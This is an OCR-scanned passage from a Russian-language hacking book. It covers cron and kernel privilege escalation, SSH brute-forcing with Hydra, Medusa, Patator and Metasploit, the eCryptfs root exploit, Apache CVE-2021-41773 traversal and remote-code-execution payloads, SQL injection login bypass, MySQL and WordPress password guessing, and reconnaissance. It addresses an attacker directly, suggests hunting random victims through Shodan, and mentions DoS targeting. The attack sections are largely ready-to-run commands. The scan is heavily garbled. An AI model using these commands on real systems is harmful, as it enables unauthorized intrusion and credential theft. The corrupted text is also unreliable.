pem -out /etc/shadow
su root
Password:

3.6. Планировщик cron
Планировщик cron используется для периодического вьmолнения всевоз­
можных скриптов. Действия описываются либо в файле /etc/crontab, либо в
персональных расписаниях. пользователя, просмотреть которое можно так:
crontab -е

•·-

--

..... ..........

--- ....... -- ................................................... ...

'\,11,11111 11,1 1 11111\

Также действия могут описываться в специальных каталогах вроде /etc/cron.
daily (ежедневное расписание). Если у таких скриптов неаккуратно выстав­
лены привилегии, то это может стать находкой для атакующего. Когда ад­
министратор ставит привилегии как попало, "просто чтобы работало", он
вполне может написать установить права 777, что позволит нам отредакти­
ровать вызываемый по расписанию скрипт. Поскольку cron запускает файлы
от имени root, то наши команды также будут выполнены от имени root.

З. 7. Уязвимости ядра
В ядре Linux, как и в любом другом программном обеспечении, есть уяз­
вимости. Иногда эти уязвимости позволяют получить root. Конечно, найти
уязвимость самостоятельно очень сложно - вы бы тогда не читали эту КНШ"У·
Универсальный рецепт такой: нужно посредством команды ипате получить
точную версию ядра и попытаться в Интернете найти уязвимости для нее.
Можно также использовать поиск эксплоитов, встроенный в Кali Linux (см.
другую часть книги). Эта операционная система содержит много эксплои­
тов, но далеко не все они окажутся рабочими. Вполне может оказаться, что
некоторые эксплоиты будут работать нестабильно, поскольку ядро уже про­
патчено.
Примеры уязвимостей для повышения привилегий:
• CVE 2017-16995;
• CVE 2013-1959;
• CVE 2012-0056;
• CVE 2010-3904.
Это далеко не уязвимости, их гораздо больше. Кроме Кali источником поис­
ка уязвимостей может послужить Интернет - на профильных сайтах публи­
куется информация об уязвимостях ядра, которую вы можете использовать.
Если ядро не успели пропатчить, значит, у вас все получится.
Пример сайтов:
• https://www.syxsense.com/linux-vulneraЬilities-march-202 l /
• https://www.cvedetails.com/vulneraЬility-list/vendor_id-33/Linux.htrnl
...................................................................................

,

1 1,111,1 �. l (11 1\ 'l,ll'\I 11(),11\а 11111/ 11.1 \ ()',

3.8. Брутфорс SSH
Ранее мы рассматривали способы, когда у нас есть обычный, пользователь­
ский доступ к SSH VDS и мы пытались поднять наши полномочия до уровня
root. А сейчас мы попробуем сбрутить, то есть подобрать пароль. Пусть у
нас есть SSH-cepвep с IР-адрес 111.11.11.11 (адрес приводится исключитель­
но для примера). Наша задача каким-то образом узнать имя пользователя,
который зарегистрирован на сервере. Имя root пробовать не стоит, так как
обычно его отключают для входа по SSH. Поэтому нужно как-то раздобыть
другое имя пользователя. Как это сделать? Haпpиtttep, с помощью уязвимо­
сти в том же Apache. Можно также попробовать часто используемые имена
вроде admin, test, user. Для брутфорса можно использовать следующие
Шlструменты: Patator, Medusa, Hydra, Metasploit. Все они доступны в дистри­
бутиве Kali Linux, который мы будем рассматривать в другой части книги.

3.8.1. Использование Patator
Для подбора пароля средствами Patator используется команда:
patator ssh_login host=lll.11.11.11 user=test password=FIIEO O=/root/wordlist
-х ignore:mesg='Authentication failed'

Параметры:
• ssh_login - необходимый модуль
• host - наша цель
• user - логин пользователя, к которому подбирается пароль или файл с
логинами для множественного подбора
• password - словарь с паролями
• -х ignore:mesg= 'Authentication failed' - команда не выводить на экран
строку, имеющую данное сообщение. Параметр фильтрации подбирается
индивидуально. То есть в зависимости от версии и настроек сервера,
сообщение об неудачной аутентификации может быть другим

•·--

------- -- - -..-- - -- - - -- - ----- ----. -- - -. -. - - ----- ----------- -- - -. - .. --. ---. ---. -

....

'\,11�11111 11:1 1 illll\

3.8.2. Инструмент Hydra
Для подбора пароля используя Hydra выполним команду:
hydra -V -f -t 4 -1 test -Р /root/wordlist ssh://111.11.11.ll

Параметры:
• -V - показывать пару логин+пароль во время перебора
• -f-остановка, как только будет найден пароль для указа�ного логина
• -Р- путь до словаря с паролями
• ssh://111.11.11.11 - IР-адрес жертвы

3.8.3. Инструмент Medusa
Для подбора пароля с использованием Medusa выполним команду:
medusa -h 192.168.60.50 -u test -Р /root/wordlist -М ssh -f -v 6

где:
• -h - IР-адрес жертвы
• -u-логин
• -Р- путь к словарю
• -М - выбор модуля
• -f- остановка после нахождения валидной пары логин/пароль
• -v - настройка отображения сообщений на экране во время процесса под­
бора

3.8.4. Metasploit
Здесь сначала нужно произвести поиск инструмента для произведения brute­
force атаки:
-················································································'

1 1.111.1'

110.1, •1.н·,111ра11.1100111а \ l)S

search ss h_login

Вывод будет таким:
Matching Modules
Na me

Disclosure Date

Rank

Description

auxiliary/scanner/ssh/ssh_login
norma 1 SSH Login Check.. .
auxiliary/scanner/ssh/ssh_login_puЬkey norma 1 SSH PuЬlic Кеу Log...

Обрати внимание: есть два модуля. Первый обеспечивает подбор логина и
пароля, а второй - логина и публичного ключа. Нас сейчас интересует пер­
вый модуль:
use auxilia r y /scanner /ss h /ssh_login

Для просмотра необходимых параметров, воспользуемся командой show
options. Необходимые сейчас параметры:
• rhosts-IP-aдpec жертвы
• rport - порт
• username - логин SSH
• userpassJiJe - путь до словаря с паролями
• stop_on_success - остановка, как только найдется пара логин/пароль
• threads - количество потоков
Указание необходимых параметров производится через команду "set".
set
set
set
set
set



r hosts 111.11.11.11
userna me test
userpass_file /root/wordlist
stop_on_success yes
t hreads 4

··················································································tD

,а1,11111 11а 1 11111\

set rport 22

Указав необходимые парамегры, набираем команду "run" и ждем. Если нам
повезет, мы получим нужный пароль.



11111---------------------------------------------------------------------------------.

Глава 4.

Уязвимости eCryptfs

:\.11,11111 11.1 l.illll'\

4.1. Выбор средств шифрования в Linux
Различные дистрибутивы предлагают на выбор разные средства шифрования
данных, например, LUКS (полнодисковое шифрование), eCryptfs (шифрова­
ние папок и файлов), а также шифрование средствами файловой системы
ZFS, которая не является родной файловой системой для Linux. Рассмотрим,
что есть что.
LUKS (Linux Unified.Кey Setup) - хорошо изученное средство полнодиско­
вого шифрования, не имеющее обнаруженных уязвимостей. LUКS поддер­
живает многочисленные алгоритмы шифрованвя и режимы работы, а также
несколько хеш-функций. В качестве алгоритма шифрования можно выбрать
один из множества поддерживаемых, в частности AES, Serpent, Twofish,
CAST-128 и CAST-256, которые могут работать в одном из четырех режи­
мов: ЕСВ, CBC-PLAIN64, CBC-ESSIV:hash или XTS-PLAIN64. Как правило,
используется комбинация параметров CBC-ESSIV:SHA256 с шифрованием
AES и 256-битным ключом.

....



---- - -- - ------- - ---- - ---- -- - - - - - -- - -- - - - - -- - - - - - --- - --- - - - -- --- - - - - - -- - ------ - -- .

1.,ава-1. �IIШll\lot'llll'(

пptl,

В процессе шифрования можно выбрать любой алгоритм шифрования. Од­
нако лучше всего использовать AES: выбор другого алгоритма не повлияет
особо на безопасность, а вот скорость пострадает из-за того, что AES единственный алгоритм шифрования, получивший аппаратную поддержку
в виде набора команд процессора AES-NI. То есть данный алгоритм поддер­
живается «железом».
LUKS хорош тем, что поддерживает до восьми слотов ключей. Каждый из
этих слотов можно защитить своим уникальным паролем или ключом. Это
позволяет разблокировать зашифрованные диски разным пользователям каждый своим паролем. Недостаток способа в том, что для расшифровки
данных достаточно взломать любой пароль к любому из занятых слотов. В
заголовке LUКS прописана информация о том, какие из слотов ключей заня­
ты (то есть содержат действительные ключи для доступа к данным), а какие
свободны. При этом нужно помнить, что удаление последнего доступного
ключа делает расшифровку данных невозможной, что позволяет навсегда и
быстро заблокировать доступ к зашифрованным данным.
Конечно, у всего есть недостатки. LUKS целиком отлично защищает дан­
ные, при этом скорость доступа к зашифрованным данным мало отличается
от скорости доступа к незашифрованному массиву информации - с одной
стороны. С другой - шифрование действительно всех данных означает, что
для проведения любых операций с зашифрованным диском, включая про­
верку целостности файловой системы, нужно смонтировать также весь диск
целиком. Сделать резервную копию, создать или восстановить снапшот за­
шифрованного диска без ввода ключа шифрования не получится.
,

Теперь переходим ко второму популярному средству шифрования- eCryptFS.
Это криптографическая файловая система, позволяющая шифровать отдель­
ные файлы и папки. Шифрование eCryptFS можно также включить на за­
шифрованном с помощью LUKS - тогда получится двойное шифрование.
Файловая система eCryptsFS работает на уровне ядра и не использует FUSE.
А вот файловая система EncFS, наоборот, работает в пространстве пользова­
теля через FUSE. В этой файловой системе недавно бьша найдена крупная
уязвимость, поэтому рекомендуется всем отказаться от ее использования.
Подробно ознакомиться с отчетом о EncFS можно по адресу:
https ://sourceforge.net/p/encfslmailman/message/31849 549/

eCryptFS шифрует каждый файл/папку по отдельности, при этом метадан­
ные шифрования для каждого файла хранятся в его заголовке. Это позволяет



·-----·--------·--·-·--·------------------------------------------··---------------11111

'\aJ,11111 11.1 1 illll\

без особых проблем копировать отдельные файлы и даже целые зашифро­
ванные папки между компьютерами, сделать систему «слепого» резервного
копирования, когда между компьютерами копируются зашифрованные фай­
лы. Но при этом eCryptFS не поддерживает дедупликацию файловой систе­
мы: каждый зашифрованный файл имеет уникальную соль, поэтому содер­
жимое даже изначально идентичных файлов в зашифрованном виде будет
. отличаться (хотя с точки зрения безопасности-это верно).
Часто eCryptFS используется для шифрования домашних юпалогов пользо­
вателей, а также в ряде сетевых хранилищ (NAS), где шифрование включено
по умолчанию.
eCryptFS поддерживает несколько алгоритмов (AES, Blowfish, CAST6 и др.),
но по вышеупомянутой причине не рекомендуется использовать алгоритмы,
отличные от AES - ты потеряешь в производительности.
Данная файловая система шифрует каждый файл по отдельности; также
можно зашифровать имена файлов и папок (в этом случае имя файла не
должно превышать 143 символа). Каждый файл шифруется сгенерирован­
ным случайным образом сессионным ключом, который хранится в метадан­
ных. Сами метаданные, как уже было отмечено, помешаются в заголовок
файла, что позволяет скопировать без проблем этот файл на другой компью­
тер и расшифровать его как обычно.
Данный способ позволяет обойти ограничения LUKS: для создания и вос­
становления резервной копии ключ шифрования не нужен - копируются и
восстанавливаются зашифрованные файлы, каждый из которых содержит
все необходимое для расшифровки. Но зато есть и куча недостатков:
• Нерасторопность. Поскольку заголовок с метаданными добавляется в
каждый файл, страдает производительность, особенно это чувствуется
при работе с небольшими файлами.
• Низкий уровень безопасности, поскольку утекают данные о количестве
файлов в каталоге, размере и дате изменения каждого файла.
• Нельзя сменить пароль шифрования. Если его узнали, нужно расшиф­
ровать данные и снова их зашифровать - уже другим паролем.
• Различные ограничения, например, на длину имени файла/каталога,
невозможность использовать сетевые папки с NFS и некоторые другие.
• Нет поддержки дедупликации.



-··················································································

Далее будет показано, как взломать eCryptFS

4.2. Атака на eCryptFS: получаем привилегии root
Существует способ, позволяющий локальному пользователю поднять свои
полномочия до уровня root в системе, где применяется шифрование домаш­
них папок с помощью eCryptFS.
Данная уязвимость позволяет через формирование рекурсивных вызовов
в пространстве пользователя добиться переполнения стека ядра. Много­
слойные файловые системы, такие как eCryptfs, имеют защиту от глубокой
вложенности, но предложенный эксплоит обходит данную защиту. Атакую­
щий может организовать цепочку рекурсивных отражений в память файла/
proc/$pid/environ, при которой процесс 1 отражает в свое окружение файл/
proc/2/environ, процесс 2 файл/proc/3/environ и т.д. Далее, если прочитать со­
держимое/proc/1/environ будет вызван обработчикраgеfаиlt для процесса 1,
что приведет к вызову pagefault для процесса 2 и т.д. по выстроенной цепоч­
ке до тех пор, пока не переполнится стек ядра. Общая схема атаки показана
на рис. 4.1.

prac:1•B







proceseA
8l10nymou8





Рис. 4.1. Схема атаки на eC,yptFS

··················································································-1118

В системах с SUID-уrилитой /sЬin/mount.ecryptfs_private, например в UЬuntu,
при активации шифрования для домашней директории, атаку может совер­
шить обычный непривилегированный пользователь, которому предоставили
возможность создания разделов ecryptfs для своих файлов (так как /proc/$pid
связан с принадлежащим пользователю процессом и директория принадле­
жит пользователю, eCryptFS допускает /proc/$pid в качестве источника мон­
тирования).
Подробная информация об этой уязвимости приводится по адресам:
https://Ьugs.chromium.orglplproject-zero/issues/detail?id=836 (эксплоит)
https ://security-tracker. deblan.org/tracker/CVE-2016-1583 (описание уязви­
мости)

-

- - - - - - - - -- - -- - - - - - - - - - - -



-- - - - - - - - - - - - - - - -·- - ----- - - - - ---- -- - --- - - - --·- - ·- - - ---- - - .

Глава 5.

Взлом популярных
сетевых сервисов

'\а,,11111 11а I illll\

5.1. Уязвимость в Apache
5.1.1. Общее описание уязвимости
Apache - довольно древнее программное обеспечение и за всю исторmо в
нем было множество уязвимостей. Можно долго перечислять бывшие уязви­
мости, но в этом нет смысла, поскольку большая часть из них уже закрыта.
Вместо этого лучше расскажем об аюуальной уязвимости, которая хоть и не
первой свежести, но все же до сих пор все еще встречается на многих веб­
серверах.
Речь идет об уязвимости CVE-2021-41773, позволяющей злоумышленни­
кам осуществить path traversa/ атаку, сопоставив URL-aдpeca с файлами за
пределами ожидаемого корня документа. В итоге такая атака могла приве­
сти к утечке СGI-скриптов и не только. Уязвимость затрагивает только веб­
серверы Apache, работающие под управлением версии 2.4.49, и уязвимый
сервер должен иметь отключенный параметр "require all denied" (к сожале­
нию, это конфигурация по умолчанию).



11111---------------------------------------------------------------------------------·

1 1,11\,1 ;:;

1\ \ 111\1 111111\

1111)111,1\ l l l l'l\1,1\ l'l 1)1\lll 111\

5.1.2. Примеры использования уязвимости
Пример 1
Шаблон ". ./file_dir/", также известный как "двоеточие", позволяет атакующе­
му путешествовать по файловой системе сервера и получать доступ к раз­
личным файлам или каталогам за пределами каталога DocumentRoot. При­
мер адреса:
http://$host/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

Заполучив этот файл, ты сможешь получить логины всех учетных записей,
зарегистрированных в системе. Далее нужно будет подобрать пароли для
той или шюй учетки. Учетка root часто бывает отключена, но вместо нее
админы могут создавать другие учетки, под которыми они работают. Ино­
гда названия этих учетных записей раскрывают сущность, например, admin.
Взломав эту учетку, ты получишь права root (через sudo).

Пример 2
Можно даже использовать уязвимость обхода пути Apache, смешивая
шаблоны . %2е/ и "%2е%2е/":
http://$host/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

Примерз
Приведенные примеры - это еще не все. Тебе не обязательно использовать
каталог cgi-Ьin для твоего эксплоита. Можно также использовать другой су­
ществующий каталог вроде /icons/. Пример:



http://$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

·---------------------------------------------------------------------------------111

'\,11,11111 11:1 1 illll\

Пример4
Одна из лучших полезных нагрузок - следующий URL можно использовать
для удаленного выполнения кода в системе, которая работает под управле­
нием уязвимого Apache:
http://$host/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh

Подобные запросы можно вводить непосредственно в браузер, или же ис­
пользовать команду curl:
curl --data "A=lecho;id>" 'http://127.0.0.1:8080/cgi­
bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -vv

5.2. Взлом MySQL
MySQL- самая распространенная СУБД на просторах Интернета. Большин­
ство сайтов использует именно эту СУБД или один из ее форков, например,
MariaDB. В этом разделе мы поговорим о том, как взломать MySQL.

5.2.1. SQL-инъекции
Наверное, все вы слышали про SQL-инъекции - это способ внедрения SQL­
инъекции в код сайта. Посредством внедренного SQL-кoдa, конечно, если
все прошло успешно, возможно украсть данные (например, платежную ин­
формацию), изменить данные в БД или же полностью уничтожить БД.
Разберемся, как делаются инъекции. Пусть у нас есть таблица users:
create tаЫе users (
id int(ll) NOT NULL auto_increment,
login varchar(l00),
password varchar(S0),

-

- - - - - - - - - - -- - -- - - - - - - - - - - - -- - - - - - -- -

----- - -- - - ---- - - -- - - - - - -- - ------ - -- - --- - - - __

,

----------------�--

);

( 1,111,\ ;;_ 1� 1 111,1 11111" 1111)111,1\ l l' l l'l-1,1\ ll'plilll'!II\

email varchar(l00),
PRIМARY КЕУ (id_user)

Теперь рассмотрим уязвимый сценарий auth.php:


Внимание! Данный сценарий содержит уязвимость, поэтому ни­
когда не используйте его на практике!

Для передачи данных сценарию auth.php будем использовать форму:


,_ --------------------------------------------------------------------------.... -1111

\,11, 11111 11.1 1 11111 \

Login
Pass



Если в нашей БД есть пользователь user с паролем 321, то если мы укажем в
форме эти данные, вывод сценария будет таким:
SELECT * FROM users WHERE login
аутентификация прошла успешно

"user" AND password

"321"

Все вроде бы правильно. Теперь вместо имени пользователя введем ad.min"/*,
а пароль вообще не будем указывать. В окне браузера увидим следующее:
SELECT * FROM users WHERE login
аутентификация прошла успешно

"user"/*" AND password

""

Выходит следующее: вместо имени пользователя ввели строку, только от­
части похожую на нужную, пароль вообще не указали, а сценарий IПШiет,
что авторизация прошла успешно.
Посмотрите на наш запрос:
SELECT * FROM users WHERE login = "user"/*" AND password

""

На самом деле для базы данных он выглядит так:
SELECT * FROM users WHERE login

=

"user"

Символы •/ база данных видит как комментарий, поэтому мы ищем только
строки, где login = "user", а пароль вообще не учитываем, поэтому мы про­
ходим успешную аутентификацию без указания пароля.
SQL-инъекция остается самым популярным методом взлома сайта и вообще
БД. К безопасности самой MySQL она имеет мало отношеНИJ1 - ведь с точки
зрения MySQL все отработано верно. Причина в небезопасном сценарии. Но
как найти SQL-инъекцию для интересующего тебя ресурса?



1118---------------------------------------------------------------------------------·

1

1,11',.1 .:;_ 1\: 111\1 fllllll 1!1!)111,1\ t"l"ll'l',1,1\ Ll'pBiillll',

Прежде всего, нужно исследовать исхоДНЪIЙ код страницы с формой входа на
сайт. Как минимум, ты узнаешь следующие вещи:
• Как называется сценарий аутентификации, и он указывается в action
• Как называются поля, содержащие логин и пароль- на случай автомати­
зации ты будешь знать, какие данные нужно отправлять на сервер, чтобы
сценарий смог с ними работать.
Надеяться, что кто-то напишет такой же дырявый сценарий, не стоит, но по­
пытаться можно. Лучше всего SQL-инъеКЦIПI исюrrъ так:
• Определить (просмотрев исходный код НТМL-страницы, выводимой в
браузер) тип CMS, которая используется у "жертвы" и ее версию� Далее
нужно использовать Google или тобой другой поисковик для поиска ин­
формации о SQL-инъекциях в этой CMS. Если CMS популярная, то ин­
формация будет.
• А вот если CMS не популярная или само1D1сная, то есть информации в
открытых источниках нет, тогда придется разбираться самостоятельно.
Также можно попытаться найти (если удалось опознать название и вер­
сию CMS) ее исходники на том же GitHub. Исследуй исходники и
постарайся найти слабые места. Первый вариант проще, второй - нужно
как минимум обладать знаниями того языка, на котором написана CMS,
и квалификация твоя должна быть выше среднего. Ковыряние в коде
займет некоторое время.

5.2.2. Поиск жертвы
Если тебе все равно кого взломать, то есть нужно потренироваться, нужно
первым делом найти случайную жертву. Как правило, MySQL использует
порт 3306, поэтому просканируем сканером сеть:
nmap -sV -PN



-р 3306

Можно также сканировать диапазон IP:

·----------------------------------------------------------------------------------1111

'\,11,11111 11,1 1 illll\

nmap -sv -PN

-р 3306 -

Если у тебя нет определенной жертвы, но ты хочешь протестировать на ком­
то свои навыки, то можешь воспользоваться хакерским поисковиком Shodan.
Он позволяет делать поиск по хостам и выводить информацию о различных
сервисах на основе баннеров ответов. Также имеет возможность фильтро­
вать по портам, стране,,городу, операционным системам и так далее. Одна
из отличнейших фишек - поиск сервисов с анонимной авторизацией или
авторизацией со стандартными кредами.

1•

WIIO\il."м,UЫ�p.tftdthe!nwmtt.W
8"'ond lhe\11/eЬ
Shodentochtь.wewrythlngfrcmpower
puRS,IТIOIXeCf'IOr'le5..�n:I

.ь--Exposu•

l set RHOSTS 172.16.2.54
msf auxilary(mysql_version) > exploit

В nmap также существует модуль, который подключается к серверу и вы­
водит разную полезную информацию: протокол, номер версии, состояние и
соль.
nmap -sV -sC


5.2.3. Брутфорс

Как только жертва найдена, нужно постараться подобрать пароль и жела­
тельно имя пользователя. С именем довольно сложно, не говоря уже о паро­
ле. Дело в том, что только совсем плохой админ не запускает скрипт mysql_
secure_installation, поэтому в большинстве случаев удаленный вход для root

будет отключен, и удаленно эту учетку использовать нельзя. Но попытаться
можно. Итак, пока считаем, что у нас логин - root (это не системный root,
это root для MySQL).
Осталось сбрутить пароль. Для этого можно использовать Metasploit:
msf
msf
msf
msf
msf

> use auxiliary/scanner/mysql/mysql_login
auxiliary(mysql_login) > set USER_FILE /root/login/logins
auxiliary(mysql_login) > set PASS_FILE/root/login/password
auxiliary(mysql_login) > set RHOSTS 172.16.2.54
auxiliary(mysql_login) > exploit

Д�ные команды задают логины и пароли, которые эксплоит будет "пробо­
вать", а также узлы MySQL, где будет произведена попытка брутфорса. Если
у тебя нет Metasploit (до сих пор), то можно использовать nmap:
nmap --script mysql-brute
--script-args userd.Ь= - свой список логинов
--script-args passdb= - свой список паролей

•··---..--.......-....-·. --.---------..--·. ---..--.----.---..--.----..--··---.--...8111

\.;11,11111 11,1 1 i11t1\

5.2.4. Что делать дальше?
После того, как ты получишь логин и пароль, что делать дальше? Дальше
можно использовать nmap. Далее приводятся модули nmap, которые могут
тебе пригодиться:
Модуль, который производит вывод баз ,11анных:
nmap -sV --script mysql-databases

Модуль, который производит вывод пользователей:
nmap -sv --script mysql-users

Модуль, который производит вывод переменных:
nmap -sV --script mysql-variaЬles

Модуль, который производит вывод пользователей и их хешей в виде, удоб­
ном для брутфорса:
nmap -р 3306 --script mysql-dump-hashes -script args =
'username =root,password=secret'
msf>use auxiliary/admin/mysql/mysql_hashdump

Модуль, который заменяет клиент MySQL и отправляет запросы в удален­
ную базу:
nmap -р 3306 < ip> --script mysql-qu ery --script-\ args =
'qu ery = "" [,username =,passwo·rd=]'
msf>use auxiliary/admin/mysql/mysql sql



-················--··--····-···-···-··---···-··---··--···--··--···-·······--·······

1

1,11"1

;;

1\: 11>\I 110111 111р111,1, ll ll'l',1,1\ llp1:11co1:

5.3. Взлом WordPress
Word.Press - один из самых популярных блоговых движков, который ис­
пользует как раз два рассмотренных ранее сервиса - веб-сервер Apache (или
ngi.nx, но Apache тоже довольно часто используют для WordPress) и СУБД
MySQL или один из ее форков.
Попробуем взломать Word.Press через форму входа. Как правило, форма вхо­
да открывается по адресу https:///wp-login.php. В качестве име­
ШI админа используется admin - да, мноmе админы Word.Press очень глупы
и используют стандарrную учетку. Так что одну неизвестную - имя пользо­
вателя - мы уже знаем.
Для подбора пароля WordPress удобно использовать уже знакомый нам
инструмент - Hydra. Следующий пример рассчитан на то, что при неверной
авторизации возвращается код 200, а при успеппюй - 302. На практике так
оно и есть. Запустить Hydra можно так:
hydra -V -f -1 admin -Р /root/wordlist -t 4 http-post-fonn://111.11.11.11 -m
"/wp-login.php:log=лusERл&pwd=Л PASS Л&wp­
suЬmit=Log+In&redirect_to=http%3A%2F%2Flll.ll.ll.11%2Fwp­
admin%2F&testcookie=l:S =302"

Здесь мы используем IР-адрес жерrвы 111.11.11.11, в реальном мире нужно
использовать реальный IP. Параметры команды следующие:
• -/ - имя пользователя
• -Р - словарь с паролями
• -t - количество потоков
• http-post-form - тип формы, у нас POST
• /wp-login.php - это URL страницы с авторизацией


л



л

иsЕRл - показывает, куда подставлять имя пользователя

рАssл - показывает, куда подставлять пароль из словаря

• S=302 - указание на какой ответ оrmратъся Hydra. В нашем случае, ответ
302 при успешной авторизации



·---------------------------------------------------------------------------------1111

Если все пройдет удачно, ты получишь такой вывод:
[ВО] [http-post-foпn] host: 111.11.11.11 lo gin: adlllin password: topsecret
[STATUS] attack finished for 111.11.11.11 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc_hydra ) finished at 2 022-02-24 06:30:00

Также подобрать пароль можно с помощью сканера nmap. Сканер nmap
позволяет в том числе производить подбор паролей для веб-форм автори­
зации, если использовать скрипт http-wordpress-brute с соответствующими
аргументами:

• --script-args - добавление аргументов
• user или userdb - логин или файла с логинами
• pass или passdb - указание пароля или словаря
• thread - количество потоков
• firstonly =true - выводить результат после первого же правильного пароля
nmap 111.11.11.11 --script http-wordpress-brute --script-a rgs
'user= adrnin,passdЬ = /root/wordlist, http-wordpress-brute.
threa d=З, brute.firstonly=true'

Разберем вывод скрипта:
PORT
S TATE SERVICE REASON
syn-ack
open http
80/tcp
1 http-wordpress-brute:
Accounts
1
1
0xdea dЬЗЗf:god => Login correct
Statistics
1
1
Perfomed 103 guesses in 17 seconds, avera ge tps: 6

Утилита сообщает пару логин/пароль, которая подошла. Видно, что она сде­
лала 103 попытки за 17 секунд.

....

•.

- - . - - - .. - - ... - - - - - - .. - - - .. - - . - - - - - - - . - - - - . . - - - . - - . . . . - . .. - - - - - - - - . - - - . - - . - . - - - . -

Глава 6.

Сбор информации

'\,11,11111 11,1 1 i1111\

Чем больше информации ты "накопаешъ" о жертве, тем успешнее будет
взлом. Какую информацию нужно собирать? Все, что можешь: информацию
DNS, IР-адреса, конфигурацию системы, имя пользователя, название орга­
низации. Как правило, в открытом доступе есть много информации, а любая
информация, полученная в результате сбора инфы, считается важной.
Существует два метода сбора информации: активный и пассивный. Акrив­
ный предусматривает сбор инфы с помощью прослушки трафика целевой
сети. Пассивный - сбор информации со сторонних источников, например,
из поисковой машиifы.
Сейчас мы поговорим о следующем: мы рассмотрим общедоступные сайты,
которые можно использовать для сбора инфы, информацию о реmстрации
домена, анализ DNS, инфу о маршруте, а также попросим предоставить ин­
формацию поисковую машину.

6.1. Общедоступные сайты
В Сети очень много сайтов собирают всевозможную информацию и пре­
доставляют ее всем желающим. И поисковые машины - не единственные.
Преимущество использования данных ресурсов в том, что сетевой трафик



ID---------------------------------------------------------------------------------·

1 1.111,1 (,. ( {юр 1111фор'lа111111

не отправляется непосредственно на домен, поэтому в журнал событий це­
левого домена. инфа о твоем посещении не попадает. Зато ты сможешь
просмотреть код страницы сайта, узнать, какая CMS установлена, узнать
ее версию, версию используемых библиотек. Но при всем при этом в логах
жертвы инфы о тебе не будет.
СIШсок полезных ресурсов:
• archive.org - архивы сайтов, с помощью этого ресурса ты сможешь уз­
нать, как выглядел сайт, скажем, месяц назад
• domaintools.com - сведения о доменных именах
• serversniff.net - содержит множество инструментов для проверки серве­
ров и маршрутизации
• centralops.net - бесплатные сетевые утилиты такие как браузер, ping,
traceroute, whois. Преимущество в том, что при использовании этих, по
сути, стандартных инструментов, обращение к сайту жертвы будет идти
не с твоего IP, а с этих сервисов
• wink.com; isearch.com - бесплатные поисковые системы, которые можно
использовать для поиска людей, в том числе по фото

6.2. Получение информации о домене
Для получения информации о домене ты можешь использовать штатную
утилиту wbois:
$ whois example.com
Domain Name: ЕХАМРLЕ.СОМ
Registry Domain ID: 2336799 DOМAIN COM-VRSN
Registrar WHOIS Server: whois.iana.org
Registrar URL: http://res-dom.iana.org
Updated Date: 2021-08-14T07:0l:44Z
Creation Date: 1995-08-14T04:00:00Z
Registry Expiry Date: 2022-08-13T04:00:00Z
Registrar: RESERVED-Internet Assigned NumЬers Authority
Registrar IAN� ID: 376
Registrar AЬuse Contact Email:
Registrar AЬuse Contact Phone:



·----------------------------------------------------------------------------------ID

\.,11,·11111 11,1 1 11111 \

Domain Status: clientDeleteProh ibited https://icann.or g/
epp#clientDeletePro h ibited
Domain Status: clientTransf erProh ibited https://icann.or g/
epp#clientTransferPro hibited
Domain Status: clientUpdateProh ibited https://icann.or g/
epp#clientUpdatePro h ibited
Name Server: A. IANA-SERVERS.NET
Name Server: B.IANA-SERVERS.NET
DNSSEC: si gnedDelegation
DNSSEC DS Data: 31589 8 1 3490A6806D47F17A34C29E2CE80E8A999FFВE4BE
DNSSEC
DS
Data:
31589
8
2
CDE0D742D6998AA554A92D890F8184C698CFAC8A26FA59875A990C03E576343C
DNSSEC DS Data: 43547 8 1 B6225AВ2CC613E0DCA7962BDC2342EA4Fl856083
DNSSEC
DS
Data:
43547
8
2
615A64233543F66F44D68933625B17497C89A70E858ED76A2145997EDF96A918
DNSSEC DS Data: 31406 8 1 189968811E6EВA862DD6C209F75623D8D9ED9142
DNSSEC
DS
Data:
31406
8
2
F78CF3344F72137235098ECВВD08947C2C9001C7F6A085Al7F51885D8F6B916D
URL of the ICANN Whois Inaccuracy Carplaint Fonn: https://www.icann.org/wicf/
>>> La st update of whois database: 2022-02-28T06:06:56Z HEADER> SSH-2.0-OpenSSH_5.8pl_hpn13v10 FreeBSD-20110102
23/tcp filtered
24/tcp filtered

....

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -- - - -- - - - - - - - - - - - - - - - - - - - - - - - - - -- - - --- -- - __

,

25/tcp filtered
26/tcp filtered
79/tcp filtered
80/tcp open
Portscan Finished: Scanned 150 ports, 69 ports were in state closed
All scans completed, exiting

Мы просканировали 150 портов, 69 из них в закрытом состоянии, остальные
выведены. Состояниеfiltered означает, что порт закрывается брандмауэром,
а ореп - открыт полностью. Для 22-го порта удалось даже распознать вер­
сию SSH-cepвepa, установленную в системе жертвы.

6.6. Команда traceroute
Команда traceroute позволяет получить маршрут прохождения пакетов от
твоей системе до системы жертвы. Получив маршрут прохождения паке­
тов, ты поймешь, через какие маршрутизаторы (хопы) добирается пакет до
жертвы. В итоге - если твоя цель DОS-атака - ты можешь направить ее, в
том числе, и на один из ее хопов (поближе к жертве), чтобы усложнить про­
хождение пакетов к ней. Также можно выяснить, кто является провайдером
жертвы - это обычно последний хоп:
# traceroute example.com
traceroute to example.com (93.184.216.34), 30 hops max, 60 byte packets
1 GW119.localdomain (10.10.7.1) 0.651 ms 0.641 ms 0.627 ms
2 100.83.85.65 (100.83.85.65) 1.026 ms 1.010 ms 0.987 ms
3 corell.nЬgl.hetzner.com (213.239.229.153) 1.027 ms 1.012 ms 0.940 ms
4 juniper5.dc2.nbgl.hetzner.com (213.239.229.166) 0.920 ms
juniper6.dc2.nbgl.hetzner.com (213.239.245.74) 0.916 ms juniper5.dc2.
nbgl.hetzner.com (213.239.229.166) 0.894 ms
5 ae12-500.nbg40.core-backbone.com (80.255.9.21) 0.944 ms 0.931 ms
ae12-498.nbg40.core-backbone.com (5.56.20.253) 0.907 ms
6 ae5-2092.nyk10.core-backbone.com (5.56.18.94) 80.403 ms aell2093.nykl0.core-backbone.com (5.56.20.102) 78.174 ms 78.146 ms
7 * * *
8 ae-66.corel.nyb.edgecastcdn.net (152.195.69.131) 81.534 ms ае-71.
corel.nyb.edgecastcdn.net (152.195.69.139) 106.439 ms ae-66.corel.
